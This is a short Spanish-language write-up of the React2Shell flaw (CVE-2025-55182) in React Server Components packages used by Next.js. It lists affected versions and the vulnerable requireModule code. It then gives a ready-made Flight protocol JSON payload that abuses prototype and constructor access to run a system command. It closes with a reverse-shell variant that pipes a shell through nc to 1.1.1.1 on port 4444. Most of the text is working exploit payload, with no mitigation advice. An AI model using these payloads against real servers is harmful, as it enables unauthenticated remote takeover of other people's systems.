Vulnerabilidad React2Shell - CVE-2025-55182 📓

Introducción

Esta vulnerabilidad, conocida como React2Shell, fue descubierta en diciembre de 2025 y afecta a componentes de next.js con una CVSS 10.0. Con una simple solicitud POST, es posible obtener un RCE crítico sin autenticación. A continuación se muestran las versiones afectadas por esta vulnerabilidad.

Versiones afectadas -> 19.0, 19.1.0, 19.1.1, 19.2.0

• La vulnerabilidad afecta a los componentes
  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

POC ⚠️

CVE-2025-55182 es fundamentalmente una vulnerabilidad de deserialización insegura en la forma en que los componentes del servidor React manejan los payloads entrantes del protocolo Flight. La vulnerabilidad existe en la función requireModule dentro del paquete react-server-dom-webpack. Ejemplo;

function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 ...  
 return moduleExports[metadata[2]];  // Vunl 
}  

A continuación se muestra un ejemplo de un payload para este exploit.

1. Acceder a process.mainModule (el módulo principal que se está ejecutando)
2. Usar su método require para cargar el módulo child_process
3. Llamar a execSync para ejecutar un comando del sistema operativo
4. Ejecutar el comando ID.

{  
 "then": "$1:__proto__:then",  
 "status": "resolved_model",  
 "reason": -1,  
 "value": "{\\"then\\":\\"$B9999\\"}",  
 "_response": {  
   "_prefix": "process.mainModule.require('child_process').execSync('id');",  
   "_chunks": "$Q2",  
   "_formData": {  
     "get": "$1:constructor:constructor"  
   }  
 }  
}

Ahora intentemos reproducir este payload.

Payload con reverse shell.

"_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 1.1.1.1 4444 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
